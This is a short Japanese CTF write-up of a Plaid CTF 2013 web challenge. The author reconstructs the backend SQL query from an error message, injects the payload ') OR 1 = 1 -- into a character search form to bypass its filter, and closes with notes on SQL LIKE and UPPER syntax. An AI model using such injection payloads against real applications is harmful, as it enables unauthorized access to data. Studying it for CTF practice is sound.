モチベーション

試しに1問CTFの問題を解いてみたい

記事概要

CTFについて調べたついでにPlaid CTF 2013のWeb系の問題を1問解いたので記録として残す。

解放メモ

search.phpにアクセスすると以下の様な画面が表示される。

20140623_charsheet1

①キャラクター検索フォームにてSQLiを実行

20140623_charsheet2

下記のSQLがサーバサイドで実行されていることがわかる。 また、ERRORの結果からLIKEの直後の%(ワイルドカード)部分に検索フォームに入れた値が入力されることがわかる。

SELECT c.id, c.name, DATE_FORMAT(c.lastedited, ‘%d %M %Y @ %H:%i’) as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = ‘y’ AND c.template_id = st.id AND UPPER(c.name) LIKE (‘%’) ORDER BY UPPER(c.name), UPPER(c.name) LIMIT 15

20140623_charsheet3

②コメントアウト付きのSQL文を入力フォームに挿入

') OR 1 = 1 --

20140623_charsheet4 20140623_charsheet5

できた!

感想&躓き

感想

  • 何を出題者が求めているか(adminが作ったキャラクタname)を理解できれば簡単な問題。
  • sqlmapとかDB解析ツールを利用してみるといいかも

躓き

  • SQLでUPPERは文字列を大文字に変換の意味
  • SQLでLIKEはWHERE(条件)のパターンマッチングに使用
    • WHERE col_name LIKE pattern
    • WHERE col_name NOT LIKE pattern
    • %:任意の0文字以上の文字列
      • 例) %java%: カラムの値にjavaが含まれる
    • _:任意の1文字
      • 例)___(アンスコ×3):3文字の任意の文字列
      • 例)a__b:aで始まりbで終わる文字列

用語集:

特になし

Write up